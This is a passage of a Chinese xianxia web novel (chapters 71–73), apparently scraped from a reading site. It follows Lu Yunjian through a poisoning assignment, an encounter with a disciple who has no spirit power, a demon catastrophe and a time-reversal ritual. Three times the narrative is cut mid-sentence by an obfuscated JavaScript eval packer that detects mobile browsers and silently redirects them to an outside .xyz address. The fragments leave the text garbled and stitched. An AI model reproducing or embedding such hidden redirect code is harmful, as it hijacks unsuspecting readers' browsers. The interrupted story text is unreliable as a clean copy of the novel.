陆云笺靠在榻上,身上的伤尚未痊愈,她一手执着阵法图谱,另一手执着笔,正在一张纸上写写画画着什么。 门开了,旺盛阳光从门外透进来,照进昏暗的屋中,有些突兀与刺眼。 陆云笺眯着眼睛,抬头向门口看去。待看清来人后,她微微坐直身子,行了一礼:“父亲。” 陆明周跟在陆稷身后,见屋内昏暗,便抬手将桌上灯盏拨亮。陆云笺将目光避开那盏灯,在哀牢待了四年,她其实还不太适应这样明亮的环境。 “你在哀牢四年,可是学有所成?” “……” 陆稷见她不答话,语气便带上了几分寒意:“若非有所成,缘何自己先一步回了云间世?” 陆云笺攥紧了正在绘制的图纸,抬眼直视陆稷,道:“我自知未有大成,但掌控妖狼之术,我已有所得。” 不是驯化,不是压制,而是掌控。 陆稷冷淡的目光自她的眉眼扫过,他微微一笑,道:“已有所得?” 他收回目光,道:“那我便交给你一项任务,你用结果告诉我,是不是已有所得。妖狼乃天生地长之灵妖,易招妖邪,你可利用妖狼炼出一样毒物,埋入镜阳宗宗主季良衢体内。” 陆云笺道:“第二大派镜阳宗的宗主季良衢?” “怎么,不敢,还是不愿?” “……” 陆云笺的目光落在陆稷衣襟上,不知是不是错觉,方才那一瞬,她似乎看到他衣襟间露出了一线熟悉的色彩—— 似乎是一只银色锦囊,上头用彩丝绣了一只…… 燕子? 陆明周见陆云笺久久没有说话,轻咳一声。 陆云笺回过神,答道:“没怎么听过镜阳宗和季良衢,不太确定而已。”再去看陆稷的衣襟,已经看不见半点银色或彩色的色彩,仿佛方才那一瞬,不过是她的错觉。 陆稷面色仍极沉极冷,但脸上的笑意总算有了些许真实的意味:“需要多少时日?二十日,还是半月?” 陆云笺道:“七天。” 待陆稷离去后,陆云笺总算再也忍耐不住,猛地咳出一口血,染红了被褥。 陆明周忙点过她身上几处穴位,再也没有掩藏担忧之色:“你此番重伤,要想恢复,半月都是勉强,你如何只要了七日?” 陆云笺笑道:“我要七天不是要养伤,是因为我不会制毒,还得研究研究,说不定还要找人帮忙。七天后是上元节,云间世应当会宴请天下诸门派,若是季良衢来了,我就找机会把毒下了,门都不用出。他若是托病不肯来,镜阳宗的大师兄大师姐不在门派中,要混进去也容易得多。” 她将手中绘了阵法的图纸抚平,继续道:“听说镜阳宗的大师兄和大师姐很有本事,我现在刚回来,还不是很想跟他们打。” 陆明周瞧着她,忽然没头没脑地说了一句:“云笺,你受苦了。” 陆云笺抬眸望向他,她一直觉得这个“哥哥”很有意思,陆稷这样冷淡的人,是怎么养出这么个儿子来的? 她从前很疑惑,不懂为什么陆明周居然能那么快就接受她这么个莫名其妙冒出来的“妹妹”。 那时她看陆明周的身姿神态举止,还以为他已有十四五岁,已经可以继任掌门,因此必须学一学仙门君子的宽容风度,之后知道彼时他才十一岁,就更无法理解。 不过她如今觉得,陆明周这样的人,莫说是父亲突然给他认了个“妹妹”,便是有人向他求助,说门外有一只蚂蚁半天没吃饭了,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆云笺却顺势拍了拍它伸过来的脑袋:“你好好帮我做事,之后我想办法再创一个能让你化出实体形态的阵法。心情好了,也让你出去跑一跑,吃点好的。” 妖狼毕竟年轻,闻言虽然一甩脑袋把陆云笺的手甩开了,眼睛却瞪得滚圆,嘴上还是说:“我若是不帮呢?” 陆云笺道:“你试试呢?” 妖狼道:“你又要一头撞死?” 陆云笺托着下巴,好整以暇地看着它:“不啊,或许是把你一头撞死?” 七日后,云间世大摆上元宴,镜阳宗宗主季良衢托病未往,之后日复一日病情却愈发严重,几乎不能见人,镜阳宗一派事务便尽数落于六大长老以及镜阳宗大师兄季衡、大师姐季瑶身上。 与此同时,云间世尊主陆稷所收义女陆云笺却如新起之秀,短短六月便登顶修士榜,一日之内斩杀妖魔最多可达三十六只,一时声名鹊起。 世人皆言,云间世陆小姐身法诡谲、出手狠辣,毫不拖泥带水,假以时日,定能跻身众位仙君之首席,云间世天下第一大派之位,再无人可以撼动。 然而陆云笺却并不太关心外界神乎其神的传言。她只把诛杀邪祟当□□好,闲来无事便练练手,就算没有闲暇,也得忙里偷闲杀几只。 她经常做的另一件事,便是常常奔走于民间,想办法打听关于她父亲的一切蛛丝马迹,无论他把这痕迹抹得多么干净,她也绝不会放过。 一日她得了消息,说眉阳山附近某个小门派里一名弟子的妻女曾在十二年前走失,便急忙下山去察看情况。 那是一个再普通不过的晴好日子,陆云笺自蜿蜒山路走过,远远地便看见一个衣衫褴褛的少年,正跪在阶前,不住地朝守门弟子乞求。 71. 叩尘问 走近了,才发现那少年额前一片血肉模糊,陆云笺见两名守门弟子持杖欲打,便抬手阻住:“这什么情况?” 守门弟子朝她行了一礼:“陆小姐,这人是来闹事的。” 陆云笺垂眸打量了那少年几眼,见他约莫十三四岁,面容清秀却污脏,污泥与鲜血结了块糊在脸上,体型也清瘦,眼睛却很亮,像是刚出鞘的刀。 陆云笺忽然觉得这情景很是眼熟。 在她设想过的无数可能里,若是当年眉阳之乱没有遇上陆稷,她或许也会像这少年一样,跪在仙门前,乞求机会学习术法,为阿娘报仇。 要入云间世做弟子,都是要人推荐或是交足入门银钱的,但瞧这少年的样子,显然没人推荐也没有银钱,恐怕吃穿都是问题,就算入了云间世,或许一年的费用都交不起。 过了山门,也会有云间世的弟子查验来人的身份之类,若是他图谋不轨,绝无可能逃得过云间世的眼睛。更何况,如果真是图谋不轨,却跪在山门外朝守门弟子磕头,未免也太…… 陆云笺摆摆手,对守门弟子道:“这么小的孩子,闹什么事儿。放他进去吧,怪可怜的。”她没有注意少年的目光,路过他身边时,从怀中拿出一只药瓶扔给他,“磕什么头呀,磕得这么惨,涂上涂上。” 少年接了药瓶,望着她。 此后少年到底有没有成功进入云间世,进了云间世之后情况如何,陆云笺都没有去留意,萍水相逢一场,她并不会太放在心上。 世人没有说错,转眼又过七年,云间世陆小姐果真位列众仙君首席,与陆明周、季衡、季瑶三位仙君并称“风华四君”。 陆云笺前后已在哀牢训练了十年有余,近些年修真界不太平,邪祟作乱之事频发,陆云笺便不再固定时日前往哀牢,大多数时日都留在云间世帮忙除祟。 一日云间世境内一座仙山崩塌,底下镇压的无数妖魔鬼怪鱼贯而出,所幸被云间世所设结界拦住,没有出界害人。云间世有心考核近来弟子们的修习成果,便设置了一场赛事,鼓励众攻伐类弟子前往该山诛杀妖魔,前五名各有奖励。 陆云笺奉命前往演武场公布这一消息,不过去得早了些,弟子们还未前往演武场,正在书院中听白胡子老头捻着胡须讲《修真界通史》。 修真界通史这门课对大多数仙门子弟来说都是基础,和三字经一样从小背起,因此书院中听课的弟子大多是十一二岁,刚入仙门修行的年纪,不过也有七八岁天赋异禀的小孩儿,也有总也学不会书本的十五六岁的少年。 入仙门讲求的是学习术法本事,这些书本上的东西,大多数弟子都在入仙门前就学了好些年,因此云间世也并不把重点放在书本上。 修真界通史重点讲云间世自建派以来五百年间的种种丰功伟绩,这些东西来来去去早不知讲了多少遍,弟子们听得垂头丧气,陆云笺站在门外靠着柱子,也等得百无聊赖。 “三百二十年前,仙人与魔王一战中,魔王被仙人诛杀,部分妖魔由云间世第三代掌门陆成蔺镇压于云间世山下。 “陆掌门在其上种下一颗灵木种子,那灵木之种来自东极之海,开奇花,散奇香,三日之内便长成了参天巨木,无数根须深埋于云间世地下,树冠化作笼罩云间世的巨大结界。 “神树与云间世历代掌门心脉相连,灵力相关……” 陆云笺抱着手靠在房柱旁,一边闭着眼小憩,一边听老头滔滔不绝地讲神树。 神树的花瓣正飞扬于云间世各处,陆云笺抬手捏住一片细碎花瓣,蓦地睁眼,抬眼朝书院中某处望去。 她一抬眼,那道一直注视着她的目光便不见了,她循着之前那道目光的痕迹,望到了一片低垂着头、愁眉苦脸的弟子。 没有找到那道目光的源头,陆云笺却忽地发现,角落里坐了个格格不入的弟子,也低垂着头看不清眉眼,可看那身形,分明都该二十出头了,如何还坐在这群初阶弟子中听什么修真界通史? 正疑惑着,白胡子老头已经滔滔不绝地讲完了,老头子年纪大了,身体不太行,缓了一会儿才说:“这些便是过几日考核的重中之重,你们好好温习,把考核给过关了吧。” 书院中点的香燃至尽头,老头挥了挥手,众弟子便精神起来,鱼贯而出。 陆云笺躲闪不及,只得挑了近处的一株老树,在树下站着,没有靠近弟子们放堂要走的路,然而还是有不少弟子看见了她,都恭恭敬敬地行礼:“陆小姐。” 待人潮散去,陆云笺正想去寻那老头,却见老头被一人堵在书院里,那人身姿挺拔,眉目柔和,正是先前坐在角落里的那名弟子。 他正低垂着眼睑,指着书卷上某处,很恭顺虚心的模样。 陆云笺走近了,听见那名弟子在问神树与掌门心脉相连的细节。 陆云笺的目光自他所执的书卷上扫过,看见密密麻麻一整页都是文字,每处空隙都用蝇头小楷写了注解说明,虽然写得满满当当,却并不乱,整整齐齐地排着,字也写得很是工整端正。 那名弟子瞧见她,也拱手行礼:“陆小姐。” 陆云笺恹恹地点点头,道:“我就来转转,你问你的。” 那名弟子看着她,一时间没有说话,倒让陆云笺摸不着头脑。 倒是教书的白胡子长老道:“你所问的镜阳宗掌门之祖与妖兽订立的契约与神树并非同一类,镜阳宗的相关卷宗都在藏书阁中,你若想进一步了解,可去借一块令牌,前往藏书阁借阅。” 那名弟子犹豫半晌,终是没再说话,端端正正行了一礼,携着几卷书册走了。 陆云笺道:“长老,他是考核过不了关么?” 老头捻着胡须,也望向那人离去的背影:“不是,我记得这些书本上的东西他都学得很好,当年考核也是名列前茅,想来是感兴趣,便经常来我课上旁听。”长老说着叹了口气,“不过这孩子有点木,大家都对镜阳宗的事避讳着呢,他却总是追来问。” 陆云笺又盯着那道逐渐淡去的背影看了片刻,而后收回目光,没再纠结此事,问道:“长老,您方才说神树与掌门心脉相连、灵力相关,不知若是一方出了问题,可会影响全局?” 老头收回目光,笑道:“陆小姐今日怎么有闲心来关心这些事情啦?” 陆云笺道:“长老讲得细致,方才正巧听见这么一段,才有此问。” 老头道:“陆小姐这般认真的模样,倒是很像老夫的一位故人。” 陆云笺微微蹙眉:“长老的故人?” 老头点点头,又摇摇头:“不说啦,过去好些年了。过几日老夫也要告老还乡了……说起这个问题,方才那名弟子也曾问过。既是说相连相关,那一方出了问题,必然是都要受牵连的。一旦云间世掌门灵力不稳,山下镇压的妖魔动荡,神树便可能轻则失去控制,重则枯萎倒塌,届时云间世的结界也就毁了,结界在,仙门在,若是结界毁……那仙门也就亡了。” 陆云笺道:“既然如此重要,怎可只由掌门一人……” 老头却打断了她:“陆小姐不必担心,神树立世三百二十年,从未出过意外。若是云间世都出意外了,那修真界恐怕也……”他又摇了摇头,没再继续下去,而是道,“听闻云间世要举办一场赛事?现在众弟子应当都要前往演武场了,陆小姐还是快去吧。” 众弟子正是心高气傲、想要大展身手的时候,云山下镇的都是凶险的妖魔,他们却并不太畏惧,更多的反而是激动与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296272|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期待,摩拳擦掌、跃跃欲试。 陆云笺与陆明周骑马行在前头,身后众弟子或御剑或骑马,浩浩荡荡一大拨人。 陆明周在云山的结界前勒马,顺手将结界又加强了一遍,而后对身后众弟子道:“结界之内凶险,你们先休整准备一盏茶的时间,届时进入结界,便可开始战斗。战斗结束后,我们会根据斩杀妖魔凶兽的数量、难易等综合考虑,择出前五。不过还是安全为上,若是遇险,及时求助,切勿恋战。” 陆云笺下了马,玩笑道:“哥,我听说第一能得一枚不可多得的上品灵石呢,我也想进去打几个妖魔鬼怪。” 陆明周道:“你要灵石做什么?破月用不上,你的惟霜剑……我记得前几日才融了一颗上品望舒灵石,一时半会儿应该也融不下了吧。” 陆云笺笑道:“多多益善嘛。”她说着凑近些许,神秘兮兮地,“总感觉有人在看我们。莫不是混进了刺客,想把我们一网打尽?” 陆明周的目光不动声色地扫了一圈,没感觉到任何敌意,于是道:“常言道不可轻敌,可也没说要臆造出几个敌人来?” 陆云笺笑笑,没说话,又缩了回去。 林中鸦声阵阵,一盏茶的时间转眼便过去了,众弟子提剑拔刀,鱼贯而入,不多时,便有尖啸怒吼窜上云霄,污血溅在蓝色结界上,滋滋冒出青烟。 陆云笺百无聊赖地靠在巨石旁,叼着草道:“是不是要挑几个身手好的去哀牢练练?说起来,我在哀牢从没见过银鹰卫的人,甚至连个人影都没见过,银鹰卫到底还有没有人?” 银鹰卫是云间世的暗卫组织,无处不在,无孔不入,令修真界诸派无比胆寒,却又不见踪迹,无端让人惴惴不安。 陆明周沉默一瞬,道:“自然是有的。不过银鹰卫的人,还是了无牵挂比较好,这些弟子都不大合适。” 陆云笺便不说话了。 她其实很不明白,为什么陆稷不直接把她扔到银鹰卫,而非要收她作义女,创建一份毫无温情的亲情。而她在哀牢待了十年,如今又以尊主义女的身份在云间世做事,却从未和传说中的银鹰卫打过照面,以至于有时候都会怀疑,这个组织究竟是不是只是个幌子。 不多时,一道火光忽地冲上天际,那是陆明周事先给每名弟子准备的传讯烟火,若是遇险,即可点燃。 陆云笺腾地站起来:“来活啦。你歇着,我进去看看。”说着身影一闪,陆明周还没来得及出声,人就已经奔入了结界。 两个时辰后,邪祟被处理完毕,众弟子都出了结界,皆是气喘吁吁,多多少少都挂了点彩。 陆云笺笑道:“不错不错,比上一批不知好了多少,修真界的未来可就靠你们了。”尽管她对每一批前来历练的弟子都如是说。 夺得榜首的是个彪形大汉,那两柄重锤想来一锤子下去便可碾死一众妖魔鬼怪,第二名是个高高瘦瘦的冷淡面孔,第三名居然是个身手敏捷的胖子。 这些人陆云笺都不识得,她只从陆明周手中接过奖励又递给这几名弟子,一眼扫过去,什么也没记住,也没想记住些什么。 扫到第四名时,却微微一顿。 正是前几天在书院里看见的那个追着长老问修真界通史的弟子。 他相貌生得很不错,但受伤最重,血污糊了一脸一身,很是狼狈。 陆云笺将装着一枚灵石的锦盒递给他,笑道:“恭喜恭喜,再接再厉。” 那名弟子喘着气,却没有立刻把锦盒接过去:“能……能不能……” 陆云笺生怕他一口气没喘上来直接背过去,忙道:“你慢慢说,不急。” 那名弟子道:“能不能,换一个。换成那套武学秘籍,或者灵丹什么的。” 72. 骤临劫 武学秘籍是第五名的奖励,而所谓可以大幅提升灵力的灵丹则是第六名的奖励,这人退而求其次,不知在想什么。 陆云笺好心提醒道:“这灵石虽不是上品,但用来淬炼武器也是极好的,”她说着放低声音,“比那什么秘籍灵丹都要好上不少。” 那弟子也犹豫了一瞬,而后垂眸道:“灵石,我用不了。” 陆云笺没懂这“用不了”是什么意思,就听旁边得了第五名的弟子说道:“陆小姐有所不知,他没有灵力,也没有能淬炼的武器,这灵石给了他……”说着也放低了声音,像是特意说给那名弟子听,“也是白瞎。” 陆云笺饶有兴趣地打量了这名僵立着的弟子两眼,而后回头看向陆明周,那意思很明显:这人没灵力还能拿第四,这身手,不得扔去哀牢练练? 陆明周摇了摇头,意思也很明显。 陆云笺便有些惋惜,转头对得了第五名的弟子说道:“那你跟他换,你愿意吗?” 以己下驷易彼上驷,傻子才不愿意。第五名当场就颠颠地把锦盒接过去了。 那个挂了满身彩的弟子提着厚厚一沓武学秘籍,垂着头,不知在想什么。 陆云笺正欲和他说几句话,却瞥见一旁草丛中伸出了一只惨白枯瘦的手,就近拽住了一名弟子,那弟子没有防备,就这么被拖入草丛中! 陆云笺眼疾手快地甩出一击,鬼手蓦地松开了那名弟子,埋入地下。那弟子被吓得险些丢了魂,陆云笺上前撩开那弟子的衣袖,所幸没中什么毒,只是充血得厉害,整条手臂都快成了紫红色。 陆云笺蹙着眉收回手,还未开口,身旁两名弟子也是一声惨叫。鬼手行动迅速,眨眼间那两名弟子的半条手臂已经没入土中! 陆明周抬手将吞没弟子手臂的那一整块土地都炸了,碎石黄土飞扬,众弟子尚未反应,陆明周当机立断,喊道:“御剑回云间世!” 众弟子没等他再喊第二遍,纷纷御剑上马,朝着云间世狂奔。 转眼间地下已经翻出了不少惨白枯瘦却又力大无穷的手,有弟子御剑不稳,刚离开地面几寸,又被鬼手猛地拽了下来! 陆云笺掷出破月,将一众拖着弟子们的鬼手齐齐斩断,又召出惟霜剑,劈斩向土地,土块迸溅开来,无数鬼手无处藏身,陆云笺一削一大片,一边破土,一边把鬼手尽数斩断。 正战得酣畅,身旁忽然闪过一个黑色身影,正是得了第四的那名弟子。他只有一把初阶弟子的剑,这种剑云间世会给每一名弟子下发,等功力有了长进,便都自行更换更加趁手的武器。 而他就拿着那把破剑,身手迅捷地一路斩去,竟没有半点畏惧与退缩。 陆云笺瞥了他一眼,道:“别来瞎掺和,御……骑马回去。” 那名弟子一下也没停顿,只是斩鬼手的速度更快了:“……没有马。” 倒是陆云笺顿了一瞬:“什么叫没有马?” 大多数弟子都从自家带了马匹,平日就养在云间世的马厩里。便是没有自己的马,也随时可以去马厩借,怎么会没有马? 那名弟子不回答了,专心砍鬼手。 陆云笺也没再多问,抬手开了个传送阵,将那弟子往阵里一推,那弟子什么声音都没来得及发出,便消失在了传送阵里。 没了闲杂人等碍事,陆云笺终于可以放开手脚。她抬手收回破月,双手结阵,接着右手猛地往地上一击—— 一只通体银白、足有两名成年男子高的妖狼踏风跃出,一扬爪,方圆百米的土地便尽数崩裂,无数鬼手暴露在阳光之下,狂暴起来。 陆云笺满意地拍了拍妖狼的脑袋:“掘土还是你厉害。”未等妖狼反应,她就闪到另一边去砍鬼手了。 不出一盏茶,方圆几里的鬼手便被斩杀殆尽,土地之下重归安宁。 陆明周却没有半点轻松之色:“恐怕不止这一波,第二波也恐怕不是这么简单的鬼手了。” 陆云笺看着天边逐渐聚起的黑雾,脸色也不算好看。 两人御剑赶回云间世,中孚大殿内灯火通明,已经有几人在大殿中等候了。 带领众弟子前往云山除魔的领队长老向陆稷说明了情况,便坐在席上等候,端茶的手都有些抖。 陆云笺跟随陆明周一步跨进中孚殿,却发现立在大殿中央那人并非云间世的常客,甚至是反常之客。 镜阳宗的大师姐季瑶向来清清冷冷,此时一袭青衣上却沾了些许血迹,并不如平日那般一丝不苟,浅色的瞳眸也不似往日那般无甚情绪,难掩担忧与焦急之色。 陆云笺与她并不相熟,只在宴会上见过寥寥几面,因此只扫了她一眼,就收回了目光。 陆明周朝陆稷行了一礼,道:“父亲,今日前往云山除魔,偶遇鬼手偷袭,那些鬼手尽数埋于地下,伺机袭人,恐与……恐与传闻中魔王留下的诅咒有关。” 陆稷自阶上缓缓走下:“此事我业已听说。镜阳宗结界也遭遇了鬼手偷袭,掌门之大弟子季衡失踪,眼下下落不明。传我掌门令,云间世各处紧急固防,防御系弟子守在结界旁,疗愈系弟子随时待命,攻伐系弟子抽出四成前往各地仙门增援。”他的目光轻飘飘扫到陆云笺,“你随季小姐前往镜阳宗。” 陆云笺道:“是。” 季瑶没再耽搁,当即道谢,出了中孚殿。 陆云笺率一众弟子跟随季瑶御剑前往镜阳宗,所过之处情形极尽诡谲。 地上白茫茫一片,是无数鬼手自地下爬出;天上却是黑云催城,仔细看便能看到一众扭曲癫狂的脸,妖魔组成的黑云自空中压下,嘶吼咆哮如雷霆万钧。 魔王将麾下尽数封于地下,时机一到便会重归于世再造灾难,这在修真界是一个很普遍的传闻。 可三百二十年过去,众仙门只在史书记载中见过对那一战的描述,无人知道这场灾难究竟会是什么样子,又会在何时爆发。即便三百二十年来,众仙门做了些准备,可随时间流逝,世人开始怀疑这个传言的真实性,开始掉以轻心,甚至不屑一顾。 于是,在修真界四海安平之际,灾难悄无声息地降临了。 起初众仙门还想合力对敌,可渐渐地便自顾不暇,一开始还能迎战,到最后,不管攻伐、防御还是疗愈系的弟子都退居各自门派的结界之内,死守七日,无数小仙门便被碾作飞尘。 云间世、镜阳宗、怜生寺三大门派合力设下防御结界,无数百姓与门派被灭的仙门弟子藏身在结界之中,然而三大门派自身难保,无力将结界扩得更大,这道覆盖方圆千里的守护结界,终是再容不下更多的人了。 溢彩流光的结界在黑云覆压之下已隐隐有了破碎之兆。 无数无处藏身的普通百姓与仙门弟子被妖魔剖肚挖肠,阵阵鸦声静下去,换作啄食腹脏的声音,阵阵鸦声又响起了,寻觅下一场宴席。 终有一日,结界破碎,仙门鏖战,众生奔逃。 瓢泼大雨中,陆云笺正处理着尸体以防起尸,却忽然接到陆明周的讯息,唤她速速前往云间世。 陆云笺骑乘妖狼背上,妖狼一步跨越数丈,堆叠尸体在下方呼呼流过,血流漂杵,生灵涂炭。陆云笺默默注视着下方,忽地在一众暗色里,瞧见了一抹与众不同的色彩—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301347|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如细碎萤火一般缓缓逸散,那光芒已如荧烛末光,燃至尽头,却在无边血色里显得格外耀眼。 陆云笺拍了拍妖狼的背:“等等。” 妖狼回头道:“怎么了?” 陆云笺翻身下了狼背,斩杀一众啃食血肉的低阶妖魔,缓缓凑近那金色光芒细看。那细碎的金光来自一具骨架—— 其实不能说是“一具”,也不能说是“骨架”,只是几片嶙峋碎骨而已。 这些碎骨似乎来自于一个人,只可惜那人的血肉躯体已经七零八落,方才被一众妖魔啃食,早已成了肉碎,唯有半张血肉模糊的脸埋在一地碎肉中,看不清面目。 陆云笺拾起一片碎骨,尚未开口,身为妖兽的破月妖狼却格外敏锐,沉声道:“照灵骨?”说完又摇了摇头,“不,不是照灵骨,气息很弱,但应该和照灵骨有关联。” 几千年前随天神荡平邪祟的照灵鸟,死后血肉消散,骨骼仍留人间。千年来照灵鸟的骨骼早已散落四处,被找到的部分照灵骨,往往都被做成了法器,或成为强大结界阵法的凭借。 三百二十年前,魔王正是利用一段照灵骨创造了一样法器,那法器状如人的骨架,高逾万丈,立于人间,足踏大地,手触苍穹,撕开了连接两个时空的裂缝。 后幸得仙人所阻,魔王身死,无数妖魔鬼怪被封印,时空裂缝也被仙人闭合至只剩不足一人通过的一点点,再无人可以跨越。 这些都已成历史,陆云笺捏着那枚流逸着金光的碎片,脑中只有一个念头—— 若能得照灵骨为仙门所用,这场灾难绝不会是死局。 思及此,陆云笺将覆满血污的碎片在衣襟上擦了擦,盛在锦囊里头,又翻身上了狼背,直奔云间世而去。 云间世的结界由于有神树支撑,一时得以保全,陆云笺路过神树时瞥了一眼,见无数根须已破土而出,地下所镇妖魔蠢蠢欲动,恐怕也坚持不了太久了。 陆云笺进了中孚殿,对陆稷行了一礼:“父亲。” 陆稷脸色苍白,似乎压着一口血,想来神树动荡对他影响巨大,此时即便是天下第一大派的尊主,也是强弩之末了。 陆明周、季瑶以及镜阳宗宗主季良衢早已在大殿中等候多时,众人立在一身着杏黄袈裟的僧人旁,那僧人年近不惑,一手持着法杖,一手拨着念珠,正是怜生寺方丈无津大师。 无津大师虽难掩焦急担忧,但毕竟是佛门中人,在一众仙门之首中竟然不如其余几人狼狈。他微蹙着眉,道:“为今之计,只有开启逆转时空之法阵,方能挽救灾难。” “逆转时空?” 逆转时空乃逆天命之所为,十分凶险,且阵法诡谲复杂,当今已无几人习得,若非万不得已,无津大师也并不愿意冒险。 陆云笺拿出锦囊,将里面装着的兀自流逸着金光的碎片捏在指尖:“我在一名弟子的尸首中发现了这个,似乎与照灵骨有关。若是回到过去找到那名弟子,或许能发挥出照灵骨的部分效用。” “照灵骨……”陆明周沉吟片刻,“即便并非照灵骨本身,或许也可以利用它提前撕开时空裂缝,联合另一个时空的仙门,合力阻止妖魔出世。” 季瑶道:“若是一个时空的力量不足以抗衡,联合另一个时空合力对敌,倒也不失为一个办法。” 无津大师将目光从陆云笺手中的碎片收回,微微颔首,道:“时日不多了,回溯时空,唯有一次机会。贫僧知晓有一处荒山灵气丰沛,暂未受妖魔所扰,贫僧会将逆转时空之阵法传于五位,五位可前往开启,贫僧会留在此处,确保万无一失。” 73. 溯时空 无津大师所指的荒山与云间世主山相隔数万里,四处被瘴气阻隔,不能使用传送阵,五人御剑行了将近两日,才终于到了荒山。荒山的确很荒,万仞高山寸草不生,虽暂时未被妖魔之气侵扰,但过于荒凉平静,无端令人心生寒意。 陆稷行至山前,抬手阻住众人:“且慢,这山中多结界迷阵幻境,小心为上。” 陆明周正要上前破除迷阵,陆云笺抬手阻住他:“留着灵力。”说罢抬手结阵,破月妖狼携疾风而至,一路朝山顶疾奔,所过之处,迷阵幻境尽皆化为碎片! 陆云笺道:“迷阵与幻境强行被破,山顶聚集的灵气也会逐渐消散。事不宜迟,还请诸位速速上山。” 逆转时空之后,除施展阵法的五人以外,所有人的记忆都会回到回溯的那一日,血雨腥风的噩梦都会被忘却,宛若重生。 陆云笺再度醒来时,瞧见外头的炫目日光、听见枝头上的啾啾鸟鸣时,其实也有些分不清今夕何夕。推开门,看见云雾缭绕、青山巍峨的云间世,昨日疮痍仿佛都被大雨冲刷干净,竟是一派岁月静好。 回溯的时间是不定的,全凭天命。所以……是回到了哪一年? 陆云笺稍稍适应了门外几近晃眼的日光,便直奔山顶中孚殿而去。 大殿里没有人,陆云笺转身拐去了偏殿,偏殿里果然一如往常地坐着一个人,是陆明周。他虽还未继任掌门,但陆稷有心培养他,便常唤他来偏殿处理门派事务,因此陆云笺几乎确信他就在偏殿。 陆明周以手支额,眉心微蹙,尚未醒来。 陆云笺走到桌旁,用力摇晃了他两下。 陆明周睁开眼,茫然一瞬,而后逐渐清醒过来:“……云笺?”他闭上眼揉了揉眉心,“无事,只是开启法阵损耗有些大……缓上片刻便好。” 陆明周缓了片刻,再睁眼时眸中清明了些许,他问:“如今是哪一年?”不等陆云笺回答,他已经注意到了卷宗上注明的年月。 “……四年前?” 四年前,陆云笺十五岁,陆明周十八岁,云间世与镜阳宗依然水火不容,怜生寺依然超脱红尘之外,天地间一片清明安宁。 “嗯,我已经让破月去寻那名弟子的下落了,照灵鸟毕竟也是妖,破月对照灵骨要敏感得多。”陆云笺点头,“接下来还是先与镜阳宗和怜生寺商议对策?” 陆明周摩挲着卷宗上的文字,道:“嗯,此事若是传出,恐会引起世人恐慌,还是先不要惊动地方仙门。镜阳宗那边,可传来了消息?” “还没有。” 事实上,镜阳宗此时自顾不暇,季良衢罹患重病后常年卧病在床,灾劫临世之时季衡失踪,他身为镜阳宗宗主,只能参与开启逆转时空的法阵,灵力损耗巨大,一时竟恢复不得,口吐鲜血,昏迷不醒。 云间世尊主陆稷的情况也好不到哪去。他虽不曾患病,但毕竟已近天命之年,一场损耗下来,灵力也有些不稳,所幸神树镇守之下,云间世的结界并未受到太大影响。 三日后,三大门派尚在暗中调查诸门弟子,破月妖狼却先一步带回了消息。 陆云笺细细察看了云间世所记那名弟子的籍贯血缘来历生平,并未发现什么特别之处,见到妖狼所指那人时,却是微微一惊,蹙眉道:“是他?” 陆明周道:“你识得他?” “不识得,”陆云笺道,“只是有点印象。第一次碰见鬼手那回不是办了场诛杀邪祟的赛事吗?他得了第四,却不要灵石,反跟第五名换了套什么秘籍,当时听人说,他没有灵力。” 陆明周闻言,沉吟道:“这名弟子我也有些许印象,他的身手实属难得,可却毫无灵力。照灵骨的灵力丰沛强劲,若是他当真与照灵骨有关联,怎至于半点灵力也没有?” 陆云笺道:“破月记得那碎骨的气息,不会有错。既然不确定他究竟是什么,那不妨先试上一试。” 于是那名可怜的弟子在接下来的一个月里,经历了出门被绊倒、饭堂打不到饭、随地被鸟拉几泡屎种种。 在他第九次滚下弟子房的台阶,却以迅雷不及掩耳之势迅速爬起来跑走,想追都追不上之后,陆云笺终于叹了口气,向陆明周提议道:“要不办个擂台赛吧。” 陆明周道:“这是为何?每年考核基本上也可见成效了,若是办擂台赛,恐会助长好斗之风。” 陆云笺道:“话是这么说,但我感觉好斗之风其实也挺严重了。不如摆到明面上来比试比试,免得有些弟子整日里耀武扬威欺负人,真场面却又派不上用场。” “那比什么?和考核一样,笔试,格斗,术法?” “……”陆云笺支着下巴,想起那名弟子换了武学秘籍后黯然失魂的模样,“这一次就只比格斗吧。笔试倒是不必,术法的话,留着下次再比吧。” 于是,云间世第一届武功擂台赛轰轰烈烈地拉开了序幕。 胜者的奖酬可谓相当丰富,除了各式各样的功法图谱数以箱计、一应俱全之外,还能获得十二位教习长老的亲自指导,更有德昌行炼器阁所铸一把银玄铁宝剑,即便在不灌注灵力的情况下亦是削铁如泥、宛若神兵。 即便未能胜出,表现优异者也可获得各样奖励。如此大手笔,参赛的弟子自然络绎不绝。 众弟子在擂台之上比试时,陆云笺便在观众席随意挑了个角落,悠悠看他们竭力厮杀。 